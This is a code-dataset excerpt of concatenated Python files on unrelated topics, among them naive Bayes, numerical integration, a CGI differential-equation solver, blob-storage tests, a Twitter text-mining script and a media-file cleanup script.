numpy as np\nimport re\n\nwith open(\"offres.txt\") as f:\n content = f.readlines()\n content = [x.strip() for x in content]\n content = [x.strip('\\n') for x in content]\n content = [x for x in content if not re.match(r'^\\s*$', x)]\n pertinence = 0\n index = 0\n stayStill = False\n while index < len(content): # read the lines of the input\n # the current value is greater or equal to zero all ok we go to the next line\n if int(content[index]) >= 0:\n pertinence += int(content[index])\n if len(content)-index < 4 and sum(1 for value in content[index:] if int(value) >= 0) <= 0:\n index = len(content)\n else:\n index += 1\n\n else: # the current value is negative, we look for a more suitable line\n if not(stayStill):\n foundCandidate = False\n next = 0\n # search suitable line among the four next\n while (not(foundCandidate) and next <= 5 and (index+next) < len(content)):\n foundCandidate = int(content[index+next]) >= 0\n next += 1\n next = next-1\n # a suitable line is not found, we take the \"least bad\" among the 5 consecutive lines\n if not(foundCandidate):\n maxSlice = min(index+5, len(content))\n sliceContent = [int(x) for x in content[index:maxSlice]]\n if maxSlice == len(content):\n index = len(content)\n else:\n pertinence += max(sliceContent)\n index += np.argmax(sliceContent)\n if np.argmax(sliceContent) == 0:\n stayStill = True\n else: # a more suitable line is found, we go directly there\n index += next\n else: # case if we were already on this line to search for suitable lines\n maxSlice = min(index+5, len(content))\n sliceContent = [int(x) for x in content[index+1:maxSlice]]\n pertinence += max(sliceContent)\n index += np.argmax(sliceContent)\n stayStill = False\n","sub_path":"dsChallenges/exercice_pertinence_marc_duda.py","file_name":"exercice_pertinence_marc_duda.py","file_ext":"py","file_size_in_byte":3038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"195456786","text":"# (C) Copyright IBM Corp. 2020.\n# #\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# #\n# http://www.apache.org/licenses/LICENSE-2.0\n# #\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom .spark_pipeline_reader import SparkPipelineReader\nfrom ibm_watson_machine_learning.libs.repo.mlrepository import MetaNames, MetaProps\nfrom ibm_watson_machine_learning.libs.repo.mlrepository import PipelineArtifact\nfrom .version_helper import VersionHelper\nfrom ibm_watson_machine_learning.libs.repo.util.library_imports import LibraryChecker\nfrom ibm_watson_machine_learning.libs.repo.base_constants import *\n\nlib_checker = LibraryChecker()\n\nif lib_checker.installed_libs[PYSPARK]:\n from pyspark.ml import Pipeline\n\n\nclass SparkPipelineArtifact(PipelineArtifact):\n \"\"\"\n Class of pipeline artifacts created with MLRepositoryCLient.\n\n :param pyspark.ml.Pipeline ml_pipeline: Pipeline which will be wrapped\n\n :ivar pyspark.ml.Pipeline ml_pipeline: Pipeline associated with this artifact\n \"\"\"\n def __init__(self, ml_pipeline, uid=None, name=None, meta_props=MetaProps({})):\n super(SparkPipelineArtifact, self).__init__(uid, name, meta_props)\n\n type_identified = False\n if lib_checker.installed_libs[PYSPARK]:\n if issubclass(type(ml_pipeline), Pipeline):\n type_identified = True\n\n if not type_identified and lib_checker.installed_libs[MLPIPELINE]:\n from mlpipelinepy.mlpipeline import MLPipeline\n if issubclass(type(ml_pipeline), MLPipeline):\n type_identified = True\n if not type_identified:\n raise ValueError('Invalid type for ml_pipeline: {}'.format(ml_pipeline.__class__.__name__))\n\n self.ml_pipeline = ml_pipeline\n self.meta.merge(\n MetaProps({\n MetaNames.FRAMEWORK_NAME: VersionHelper.pipeline_type(ml_pipeline),\n MetaNames.FRAMEWORK_VERSION: VersionHelper.getFrameworkVersion(ml_pipeline)\n })\n )\n\n def pipeline_instance(self):\n return self.ml_pipeline\n\n def reader(self):\n \"\"\"\n Returns reader used for getting pipeline content.\n\n :return: reader for pyspark.ml.Pipeline\n :rtype: SparkPipelineReader\n \"\"\"\n try:\n return self._reader\n except:\n self._reader = SparkPipelineReader(self.ml_pipeline, 'pipeline')\n return self._reader\n\n def _copy(self, uid):\n return SparkPipelineArtifact(self.ml_pipeline, uid, self.name, self.meta)\n","sub_path":"venv/Lib/site-packages/ibm_watson_machine_learning/libs/repo/mlrepositoryartifact/spark_pipeline_artifact.py","file_name":"spark_pipeline_artifact.py","file_ext":"py","file_size_in_byte":2939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"435644086","text":"# Tests: blob storage\n\nimport shutil\nimport tempfile\nimport hashlib\nimport random\n\nimport pytest\n\nfrom DuckWook.blobs_storage import BlobsStorage\n\n\n@pytest.fixture\ndef blobs_storage(request):\n mydir = tempfile.mkdtemp()\n store = BlobsStorage(mydir)\n\n def finalize():\n shutil.rmtree(mydir)\n\n request.addfinalizer(finalize)\n return store\n\n\ndef test_blob_storage(blobs_storage):\n store = blobs_storage\n\n mydata = \"This is some random data\"\n data_hash = hashlib.sha1(mydata).hexdigest()\n\n assert not store.has_file(data_hash)\n obj_id = store.store(mydata)\n assert data_hash == obj_id\n assert store.has_file(data_hash)\n retr_data = store.retrieve(obj_id)\n assert retr_data == mydata\n store.delete(obj_id)\n assert not store.has_file(data_hash)\n with pytest.raises(Exception):\n store.retrieve(obj_id)\n with pytest.raises(Exception):\n store.delete(obj_id)\n\n\ndef test_with_random_files(blobs_storage):\n store = blobs_storage\n\n example_files = {}\n for i in xrange(20):\n data = ''.join(chr(x) for x in xrange(random.randint(16, 256)))\n data_hash = hashlib.sha1(data).hexdigest()\n example_files[data_hash] = data\n\n ## Insert files in the store\n for key, data in example_files.iteritems():\n assert not store.has_file(key)\n new_key = store.store(data)\n assert new_key == key\n assert store.has_file(key)\n\n ## Randomly check all the data\n keys = example_files.keys()\n random.shuffle(keys)\n for key in keys:\n data = example_files[key]\n assert store.has_file(key)\n new_data = store.retrieve(key)\n assert new_data == data\n\n ## Now delete..\n keys = example_files.keys()\n random.shuffle(keys)\n for key in keys:\n assert store.has_file(key)\n store.delete(key)\n assert not store.has_file(key)\n","sub_path":"DuckWook/tests/test_blobs_storage.py","file_name":"test_blobs_storage.py","file_ext":"py","file_size_in_byte":1881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"238126095","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /usr/local/lib/python2.7/dist-packages/pifi/WaitForMultipleEvents.py\n# Compiled at: 2014-10-22 23:54:57\nimport threading\n\nclass WaitForMultipleEvents(object):\n\n def __init__(self, eventsToWatch):\n self.mEvtController = threading.Event()\n self.mEventsToWatch = eventsToWatch\n self.mLock = threading.Lock()\n\n def set(self, event):\n if event in self.mEventsToWatch:\n with self.mLock:\n event.set()\n self.mEvtController.set()\n\n def clear(self, event):\n if event in self.mEventsToWatch:\n with self.mLock:\n event.clear()\n self.mEvtController.clear()\n\n def clearAll(self):\n with self.mLock:\n for event in self.mEventsToWatch:\n event.clear()\n\n self.mEvtController.clear()\n\n def waitAny(self):\n self.mEvtController.wait()\n with self.mLock:\n evtMatches = [ e for e in self.mEventsToWatch if e.is_set() ]\n return evtMatches","sub_path":"pycfiles/PiFi-1.1.4.linux-armv6l.tar/WaitForMultipleEvents.py","file_name":"WaitForMultipleEvents.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"287032030","text":"import glob\nfrom pathlib import Path\nimport os\n\n# Used to delete mp3 songs and jpg album cover files downloaded on server\n\nhome = str(Path.home())\nuser_path = os.path.join(home, 'Users')\n\nusers_path = []\np = Path(user_path)\n\n# Get paths for users\nfor user in p.iterdir():\n user = os.path.join(user, 'Downloads')\n users_path.append(user)\n\nuser_songs = []\nuser_covers = []\n\n# Get paths for mp3 and jpg files\nfor path in users_path:\n songs = os.path.join(path, '*mp3')\n covers = os.path.join(path, '*jpg')\n\n songs = glob.glob(songs)\n covers = glob.glob(covers)\n user_songs.append(songs)\n user_covers.append(covers)\n\n# Loop through song paths\nfor user in user_songs:\n for song in user:\n os.remove(song)\n\n# Loop through cover paths\nfor user in user_covers:\n for cover in user:\n os.remove(cover)\n","sub_path":"RipperProject/RipperApp/delete_downloads.py","file_name":"delete_downloads.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"390500129","text":"from collections import defaultdict\n\nfrom pyNastran.bdf.bdf import read_bdf, CTRIA3\n\nfrom ..logger import msg\n\n\nclass Edge(object):\n def __init__(self, n1, n2):\n self.n1 = n1\n self.n2 = n2\n self.nodes = [n1, n2]\n self.trias = []\n self.sdomain = []\n self.ipts = []\n self.Ac = None\n self.othernode1 = None\n self.othernode2 = None\n\n def __str__(self):\n return 'Edge (%s, %s)' % (self.n1.nid, self.n2.nid)\n\n def __repr__(self):\n return self.__str__()\n\n def getMid(self):\n return 0.5*(self.n1 + self.n2)\n\n\ndef getMid(tria):\n return tria.get_node_positions().mean(axis=0)\n\n\ndef read_mesh(filepath, silent=True):\n msg('Reading mesh...', silent=silent)\n mesh = read_bdf(filepath, debug=False)\n nodes = []\n for node in mesh.nodes.values():\n node.trias = set()\n node.edges = set()\n node.index = set()\n node.prop = None\n nodes.append(node)\n\n trias = []\n for elem in mesh.elements.values():\n if isinstance(elem, CTRIA3):\n elem.edges = []\n elem.prop = None\n trias.append(elem)\n else:\n raise NotImplementedError('Element type %s not supported' %\n type(elem))\n edges = []\n edges_ids = defaultdict(list)\n for tria in trias:\n for edge_id in tria.get_edge_ids():\n edges_ids[edge_id].append(tria)\n for (n1, n2), e_trias in edges_ids.items():\n edge = Edge(mesh.nodes[n1], mesh.nodes[n2])\n edge.trias = e_trias\n edges.append(edge)\n for edge in edges:\n for tria in edge.trias:\n tria.edges.append(edge)\n for tria in trias:\n for node in tria.nodes:\n node.trias.add(tria)\n for edge in tria.edges:\n node.edges.add(edge)\n\n msg('finished!', silent=silent)\n return nodes, trias, edges\n","sub_path":"meshless/espim/read_mesh.py","file_name":"read_mesh.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"49031779","text":"import sys\nfrom utils import *\nimport matplotlib.pyplot as plt\n\nif len(sys.argv)>1:\n folder = sys.argv[1]\nelse:\n folder = 'headshoulderdata'\n\nseg = fingernailseg(folder)\n\nif len(sys.argv)>2:\n separable = True\nelse:\n separable = False\n\nif separable:\n print('create separable unet');\n seg.create_separable_unet()\nelse:\n print('create unet');\n seg.create_unet()\n\nprint('loading model')\nseg.load_model()\nprint('predicting')\n\nmask = seg.predict()\nraw = seg.X_test\nfor i in range(0,seg.X_test.__len__()):\n plt.figure(figsize=(5,5))\n rand_image = i\n plt.imshow(raw[rand_image,:,:,:])\n plt.imshow(mask[rand_image,:,:,0], alpha=0.8)\n #plt.title('Fingernails segmentation of test image', fontsize=15)\n filename = str(rand_image)+'.png'\n plt.savefig(filename)\n print('saved',filename)\nprint('done')\n","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"574954201","text":"#!/usr/bin/env python\nimport cgi\nimport html\nimport numpy as np\n\nfrom functions import *\nfrom tabulation import *\nfrom integration import integrate\nfrom interpolation import interpolate\nfrom cauchy import cauchy\nfrom plots import *\nfrom differentiation import *\n\n\ndef main():\n form = cgi.FieldStorage()\n\n print(\"Content-type: text/html\\n\")\n print(\"\"\"\n \n \n \n \n \n \n Adds\n \n \"\"\")\n\n print('
    ')\n print('Differential equation system solution')\n\n\n pars = {\n 'SA': None,\n 'SB': None,\n 'zA': None,\n 'zB': None,\n 'pA': None,\n 'pB': None,\n 'auto': None,\n 'beta': None,\n 'beta_1': None,\n 'beta_2': None,\n 'nbeta': None,\n 'fA': None,\n 'fB': None,\n 'X0': None,\n 'Y0': None,\n 'T': None\n }\n\n # getting form inputs and checking them for numbers\n def get_par(par_name):\n par_value = html.escape(form.getfirst(par_name, \"naan\"))\n try:\n par_value = int(par_value)\n return par_value\n except:\n try:\n par_value = float(par_value)\n return par_value\n except:\n print(\"\"\"

    {} is not a number

    \n \n \"\"\".format(par_name))\n return \"NaN\"\n\n for par_name in pars:\n if par_name not in ['auto', 'beta', 'beta_1', 'beta_2', 'nbeta']:\n par_value = get_par(par_name)\n if par_value == \"NaN\":\n return\n else:\n pars[par_name] = par_value\n else:\n if form.getvalue(\"auto_check\"):\n pars['auto'] = True\n else:\n pars['auto'] = False\n\n \n if not pars['auto']:\n beta = get_par('beta')\n if beta == \"NaN\":\n return\n else:\n pars['beta'] = beta\n else:\n nbeta = get_par('nbeta')\n if nbeta == \"NaN\":\n return\n else:\n pars['nbeta'] = nbeta\n\n beta_1 = get_par('beta_1')\n if beta_1 == \"NaN\":\n return\n else:\n pars['beta_1'] = beta_1\n beta_2 = get_par('beta_2')\n if beta_2 == \"NaN\":\n return\n else:\n pars['beta_2'] = beta_2\n\n # special parameters sp_pars for deleting 'ones' where necessary\n sp_pars = {}\n for par_name, par_value in pars.items():\n sp_pars[par_name] = par_value\n if par_name in ['SA', 'SB', 'zA', 'zB', 'pA', 'fA', 'fB']:\n if par_value == 1:\n sp_pars[par_name] = \"\"\n\n SEGM_NUMB = 100\n MIN = 0\n MAX = pars['T']\n\n\n def do_beta(beta):\n\n # tabulating all functions\n tabulate(func_S, (pars['SA'], pars['SB']), SEGM_NUMB, 'func_S.txt', MIN, MAX)\n tabulate(func_z, (pars['zA'], pars['zB']), SEGM_NUMB, 'func_z.txt', MIN, MAX)\n tabulate(func_p, (pars['pA'], pars['pB']), SEGM_NUMB, 'func_p.txt', MIN, MAX)\n\n \n # tabulating function U(y)\n U_file = open('func_U.txt', 'w')\n y = MIN\n for n in range(SEGM_NUMB + 1):\n integral = integrate('func_p.txt', y, 1)\n y += (MAX - MIN) / SEGM_NUMB\n\n U_file.write(str(y) + ' ' + str(integral) + '\\n')\n U_file.close()\n\n # interpolating function U(y)\n U_coef = interpolate('func_U.txt', 'coef_func_U.txt')\n\n # interpolating function z(t)\n z_coef = interpolate('func_z.txt', 'coef_func_z.txt')\n der_z_coef = derivative(z_coef)\n\n #interpolating function S(t)\n S_coef = interpolate('func_S.txt', 'coef_func_S.txt')\n\n #interpolating function p(w)\n p_coef = interpolate('func_p.txt', 'coef_func_p.txt')\n\n\n # first right part of the system of differential equations\n def rp1(t, x, y):\n return cube_func(t, der_z_coef, MIN, MAX) * cube_func(y, U_coef, MIN, MAX)\n\n # second right part of the system of differential equations\n def rp2(t, x, y):\n return beta * (pars['fA'] * cube_func(t, S_coef, MIN, MAX) - pars['fB'] * x)\n\n # solving system of differential equations\n try:\n x, y = cauchy(rp1, rp2, pars['X0'], pars['Y0'], MAX, SEGM_NUMB)\n except:\n print(\"

    Too big numbers :( Try a little bit less.

    \")\n\n t = np.linspace(MIN, MAX, SEGM_NUMB + 1)\n x_file = open('func_x.txt', 'w')\n y_file = open('func_y.txt', 'w')\n for i, ti in enumerate(t):\n x_file.write(str(ti) + ' ' + str(x[i]) + '\\n')\n y_file.write(str(ti) + ' ' + str(y[i]) + '\\n')\n x_file.close()\n y_file.close()\n\n\n # making function x(t) - S(t)\n x_file = open('func_x.txt', 'r')\n S_file = open('func_S.txt', 'r')\n xS_file = open('func_xS.txt', 'w')\n for i in range(SEGM_NUMB + 1):\n x_file_line = x_file.readline()\n xS_file.write(x_file_line.split()[0] + ' ')\n xS_file.write(str(float(x_file_line.split()[1]) - float(S_file.readline().split()[1])) + '\\n')\n x_file.close()\n S_file.close()\n xS_file.close()\n\n\n # quality criteria\n\n # tabulating function w*p(w)\n def func_wp(w):\n return w*cube_func(w, p_coef, MIN, MAX)\n tabulate(func_wp, (), SEGM_NUMB, 'func_wp.txt', MIN, MAX)\n\n # interpolating derivative of function x(t)\n x_coef = interpolate('func_x.txt', 'coef_func_x.txt')\n der_x_coef = derivative(x_coef)\n\n # tabulating function V(y) = x'(t) * int{y}{1}w*p(w)*dw\n V_file = open('func_V.txt', 'w')\n t = MIN\n for n in range(SEGM_NUMB + 1):\n result = cube_func(t, der_x_coef, MIN, MAX) * integrate('func_wp.txt', y[n], 1)\n t += (MAX - MIN) / SEGM_NUMB\n\n V_file.write(str(t) + ' ' + str(result) + '\\n')\n V_file.close()\n\n C1 = 1 - integrate('func_V.txt', 0, MAX) / (x[-1] - pars['X0'])\n C2 = np.abs(x[-1] - cube_func(MAX, S_coef, MIN, MAX)) / cube_func(MAX, S_coef, MIN, MAX)\n\n return C1, C2\n\n\n\n print('')\n\n plot('func_p.txt', 'func_p', 'omega', 'rho', MIN, MAX)\n print(\"\")\n plot('func_x.txt', 'func_x', 't', 'x', MIN, MAX)\n print(\"\")\n plot('func_S.txt', 'func_S', 't', 'S', MIN, MAX)\n print(\"\")\n plot('func_z.txt', 'func_z', 't', 'z', MIN, MAX)\n print(\"\")\n plot('func_xS.txt', 'func_xS', 't', 'x - S', MIN, MAX)\n print(\"\")\n plot('func_y.txt', 'func_y', 't', 'y', MIN, MAX)\n print(\"\")\n\n if pars['auto']:\n plot('func_F.txt', 'func_F', 'beta', 'F', pars['beta_1'], pars['beta_2'])\n print(\"\")\n \n\n if not pars['auto']:\n C1, C2 = do_beta(pars['beta'])\n else:\n FA = 1\n FB = 10\n betas = []\n Fbetas = []\n b = pars['beta_1']\n for i in range(pars['nbeta'] + 1):\n C1i, C2i = do_beta(b)\n betas.append(b)\n Fbetas.append(FA*C1i + FB*C2i)\n b += (pars['beta_2'] - pars['beta_1']) / pars['nbeta']\n\n # tabulating function F\n F_file = open('func_F.txt', 'w')\n for i in range(len(betas)):\n F_file.write(str(betas[i]) + ' ' + str(Fbetas[i]) + '\\n')\n F_file.close()\n\n best_arg = np.argmin(Fbetas)\n C1, C2 = do_beta(betas[best_arg])\n\n print(\"

    Criteria:

    \")\n print(\"

    \\\\\\\\ Best F = {} \\\\\\\\ Best \\\\beta = {}

    \".format(Fbetas[best_arg], betas[best_arg]))\n\n\n\n if not pars['auto']:\n print(\"

    Criteria:

    \")\n print(\"

    \\\\\\\\ C_1 = {} \\\\\\\\ C_2 = {}

    \".format(C1, C2))\n\n # printing system of differential equations\n print('

    Your system of differential equations:

    ')\n print(\"

    \\\n \\\\\\\\ \\\\frac{{dx}}{{dt}} = z'(t) \\\\int_{{y}}^{{1}} \\\\rho (\\\\omega) d \\\\omega \\\n \\\\\\\\ \\\\frac{{dy}}{{dt}} = \\\\beta ({} S(t) - {} x) \\\n \\\\\\\\ z(t) = {} t + {} cos(t) \\\n \\\\\\\\ \\\\rho (\\\\omega) = {} \\\\omega ({} - \\\\omega) \\\n \\\\\\\\ S(t) = {} t + {} sin(t) \\\n \\\\\\\\ x(t = 0) = {} \\\n \\\\\\\\ y(t = 0) = {} \\\n \\\\\\\\ T = {}\".format(sp_pars['fA'], sp_pars['fB'], sp_pars['zA'], sp_pars['zB'], sp_pars['pA'],\n sp_pars['pB'], sp_pars['SA'], sp_pars['SB'], sp_pars['X0'], sp_pars['Y0'], sp_pars['T']))\n\n if not pars['auto']:\n print(\"\\\\\\\\ \\\\beta = {}

    \".format(sp_pars['beta']))\n else:\n print(\"\\\\\\\\ \\\\beta = {} .. {}, nbeta = {}

    \".format(sp_pars['beta_1'], sp_pars['beta_2'], sp_pars['nbeta']))\n\n\n print(\"\"\"\n \"\"\")\n\n\n \n\n print('')\n\nif __name__ == \"__main__\" :\n main()","sub_path":"cgi-bin/form.py","file_name":"form.py","file_ext":"py","file_size_in_byte":11642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"230672979","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def postorderTraversal(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[int]\n \"\"\"\n postorder = []\n if not root: return postorder\n postorder += postorderTraversal(root.left) + postorderTraversal(root.right) + [root.val]\n return postorder\n\n # iterative\n def postorderTraversal2(self, root):\n postorder = []\n if not root: return postorder\n\n stack = [root]\n prev = None # previously traversed node\n cur_root = root\n\n while stack:\n cur_root = stack[-1]\n if not prev or prev.left == cur_root or prev.right == cur_root:\n # prev == none or prev is cur_root's parent\n if cur_root.left:\n stack.append(cur_root.left)\n elif cur_right:\n stack.append(cur_root.right)\n \n elif cur_root.left == prev:\n if cur_right: \n stack.append(cur_root.right)\n else:\n # leaf \n postorder.append(cur_root.val)\n stack.pop()\n prev = cur_root\n return postorder\n \n\n","sub_path":"binary_tree/postorder.py","file_name":"postorder.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"161592155","text":"#!/usr/bin/env python \n# -*- coding:utf-8 -*- \n\nfrom requests_oauthlib import OAuth1Session\nimport json\nimport MeCab\n\n### Constants \noath_key_dict = {\n \"consumer_key\": \"your consumer_key\",\n \"consumer_secret\": \"your consumer_secret\",\n \"access_token\": \"your access_token\",\n \"access_token_secret\": \"your access_token_secret\"\n}\n\n### Functions \ndef main():\n tweet_list = tweet_search(\"-Ochasen\", oath_key_dict)\n text = \"\"\n for dic in tweet_list:\n \n text += dic['text'] + \"\\n\"\n \n print(text)\n mecab = MeCab.Tagger(\"Twitter account you want search\")\n mecab_parsed = mecab.parse(text)\n \n lines = mecab_parsed.split(\"\\n\")\n for line in lines:\n items = line.split(\"\\t\")\n if len(items)>4:\n if items[3].find(\"地域\") > -1:\n print(items[0]+\" \"+items[3] )\n \n return\n\n\ndef create_oath_session(oath_key_dict):\n oath = OAuth1Session(\n oath_key_dict[\"consumer_key\"],\n oath_key_dict[\"consumer_secret\"],\n oath_key_dict[\"access_token\"],\n oath_key_dict[\"access_token_secret\"]\n )\n return oath\n\ndef tweet_search(user, oath_key_dict):\n url = \"https://api.twitter.com/1.1/statuses/user_timeline.json?\"\n params = {\n \"screen_name\": user,\n \"count\": \"100\"\n }\n oath = create_oath_session(oath_key_dict)\n responce = oath.get(url, params = params)\n if responce.status_code != 200:\n print(\"Error code: %d\" %(responce.status_code))\n return None\n tweets = json.loads(responce.text)\n return tweets\n\n### Execute \nif __name__ == \"__main__\":\n main()\n","sub_path":"twittertest3.py","file_name":"twittertest3.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"474520612","text":"'''\r\n问题:计算得到的有些概率P(yc|Xi)>1\r\n 我用朴素贝叶斯分类器写了一个能识别代码语言的小工具,但是计算联合概率的时候遇到了点问题。 \r\n - V2EX https://www.v2ex.com/t/190152\r\n'''\r\nimport numpy as np\r\nfrom sklearn.preprocessing import OneHotEncoder\r\n\r\n'''\r\n P(yc)ΠP(Xi|yc)\r\nP(yc|X) = ——————————————————\r\n ΠP(Xi)\r\n'''\r\n\r\nclass NaiveBayes():\r\n def __init__(self):\r\n self.featureEncoder = OneHotEncoder()\r\n self.n_labels = None; self.n_features = None\r\n self.P_X = None # 各特征的概率 (n_features,)\r\n self.P_Y = None # 各类别的概率 (n_labels,)\r\n self.P_X_Y = None # 各类别下各特征的条件概率 (n_labels, n_features)\r\n def fit(self, X, y):\r\n X_encoded = self.featureEncoder.fit_transform(X).toarray() # toarray()将csr稀疏矩阵转换为稠密矩阵\r\n y_encoded = OneHotEncoder().fit_transform(y.reshape((-1, 1))).toarray() # toarray()将csr稀疏矩阵转换为稠密矩阵\r\n self.P_X = np.mean(X_encoded, axis=0) # one-hot编码下,各列的均值即各特征的概率\r\n self.P_Y = np.mean(y_encoded, axis=0) # one-hot编码下,各列的均值即各了别的概率\r\n self.n_labels, self.n_features = y_encoded.shape[1], X_encoded.shape[1] \r\n self.P_X_Y = np.zeros(shape=(self.n_labels, self.n_features)) # 各个类别下,分别统计各特征的概率\r\n for i in range(self.n_labels):\r\n X_encoded_of_yi = X_encoded[y_encoded[:, i]==1] # 取出属于i类别的样本\r\n self.P_X_Y[i] = np.mean(X_encoded_of_yi, axis=0) # one-hot编码下,各列的均值即各特征的概率\r\n def predict(self, X):\r\n X_encoded = self.featureEncoder.transform(X).toarray()\r\n n_samples = X_encoded.shape[0]\r\n y_pred_prob = np.zeros(shape=(n_samples, self.n_labels))\r\n for i in range(n_samples):\r\n for j in range(self.n_labels):\r\n P_Xi_encoded_Yj = X_encoded[i] * self.P_X_Y[j] # 在Yj类别下,选出输入样本Xi对应的条件概率\r\n\r\n P_Xi_encoded_Yj[P_Xi_encoded_Yj==0.0] = 1.0 # 将为0值替换为1,便于求解ΠP(Xi|yc),只要将各元素累乘即可\r\n \r\n # P_Xi_encoded = X_encoded[i] * self.P_X\r\n # P_Xi_encoded[P_Xi_encoded==0.0] = 1.0\r\n\r\n y_pred_prob[i, j] = self.P_Y[j] * P_Xi_encoded_Yj.prod()# / P_Xi_encoded.prod() # 注意,分母是全概率公式,不能使用朴素贝叶斯\r\n y_pred_prob[i] /= np.sum(y_pred_prob[i]) # 2018.10.17 答疑:把分子加和作为分母\r\n return np.argmax(y_pred_prob, axis=1)\r\n def score(self, y_true, y_pred):\r\n ''' accuracy '''\r\n return np.mean(np.equal(y_true, y_pred).astype('float'))\r\n \r\nif __name__ == '__main__':\r\n # X = [\r\n # [1, 'S'],\r\n # [1, 'M'],\r\n # [1, 'M'],\r\n # [1, 'S'],\r\n # [1, 'S'],\r\n # [2, 'S'],\r\n # [2, 'M'],\r\n # [2, 'M'],\r\n # [2, 'L'],\r\n # [2, 'L'],\r\n # [3, 'L'],\r\n # [3, 'M'],\r\n # [3, 'M'],\r\n # [3, 'L'],\r\n # [3, 'L']\r\n # ]\r\n # y = [-1 ,-1, 1, 1, -1, -1, -1, 1, 1, 1, 1, 1, 1, 1, -1]\r\n \r\n # 注意:\r\n # 1. OneHotEncoder不接受字符类型的标称型数据\r\n # 2. OneHotEncoder不接受小于0的标称型数据\r\n X = [\r\n [1, 0],\r\n [1, 1],\r\n [1, 1],\r\n [1, 0],\r\n [1, 0],\r\n [2, 0],\r\n [2, 1],\r\n [2, 1],\r\n [2, 2],\r\n [2, 2],\r\n [3, 2],\r\n [3, 1],\r\n [3, 2],\r\n [3, 2],\r\n [3, 2]\r\n ]\r\n y = [0 ,0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0]\r\n X = np.array(X); y = np.array(y)\r\n X_test = np.array([[2, 0], [1, 1]])\r\n\r\n estimator = NaiveBayes()\r\n estimator.fit(X, y)\r\n print('准确率: ', estimator.score(y, estimator.predict(X)))\r\n\r\n y_pred = estimator.predict(X_test)\r\n print(y_pred)\r\n\r\n '''\r\n 准确率: 0.8\r\n [1 0]\r\n '''","sub_path":"Statistical Learning Method, Li Hang/naive_bayes_algorithm_demo.py","file_name":"naive_bayes_algorithm_demo.py","file_ext":"py","file_size_in_byte":4331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"609337772","text":"'''\nIntegrating using discrete points and the Beeman integration method.\nIt accepts 2 data arrays as inputs (a set of x and of acceleration values).\nIt outputs the first and second integrals and can output complete arrays\nthat show a \"running total\" as the integral is summed up. It can display\ngraphs and simple error analysis as required.\nCode by Jordan Schmerge.\n'''\n\ndef beeman(t,a): #takes in an intial array to be integrated as a parameter \n #exactfirst = 0.00000000001\n #exactsecond = 2*math.pi \n #t = np.linspace(0,2*math.pi,1002)\n h = t[1] - t[0] #(delta t)\n v_0 = 0 #setting initial conditions for first integral\n x_0 = 0 #setting initial conditions for second integral\n #a = f(t) + N1(t) #intitializing set of \"a\" values\n v = [0. for i in range(len(a)-1)]\n v[0] = v_0\n for i in range(1,len(a)-2): #4th order Runge Kutta itself\n v[i+1] = (v[i] + 1/6.*h*(2*a[i+1] + 5*a[i] - a[i-1]))\n x = [0. for i in range(len(v)-1)]\n x[0] = x_0\n for i in range(1, len(v)-2): #finding the second integral\n x[i+1] = (x[i] + v[i]*h + 1/6.*h*h*(4*a[i] - a[i-1]))\n #matplotlib.pyplot.plot(t, a,label='a') #these are the final graphs\n #matplotlib.pyplot.plot(t[:-1],v,label='v')\n #matplotlib.pyplot.plot(t[:-2],x,label='x')\n #matplotlib.pyplot.legend(loc='best')\n #matplotlib.pyplot.show()\n #error1 = ((exactfirst - v[-1])/exactfirst)*100\n #error2 = ((exactsecond - x[-1])/exactsecond)*100\n #print \" \"\n #print \"Exact First Integral: \", exactfirst\n #print \"Exact Second Integral: \", exactsecond\n #print \"Beeman says first integral is: \",v[-1]\n #print \"And second integal is: \",x[-1]\n #print \"Error for first integral is: \",error1,\"%\"\n #print \"Error for the second is: \",error2,\"%.\" \n \n return t[:-1], v, t[:-2], x\n","sub_path":"Python/Epics2IntegrationComparison/beeman.py","file_name":"beeman.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"485432252","text":"\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as pl\n\nimport sys, pickle, itertools\nsys.path.append(\"..\")\nsys.path.append(\"../..\")\n\nimport numpy as np\nfrom scipy import stats\n\nfrom utils.colors import color\n\n\ndpath = '/home/lab/comp/data/'\n\nwith open(dpath+'nmotif_ecounts_aniso_n8_S2500K.p', 'rb') as pfile:\n aniso_data = pickle.load(pfile)\nwith open(dpath+'nmotif_ecounts_rew_n8_S2500K.p', 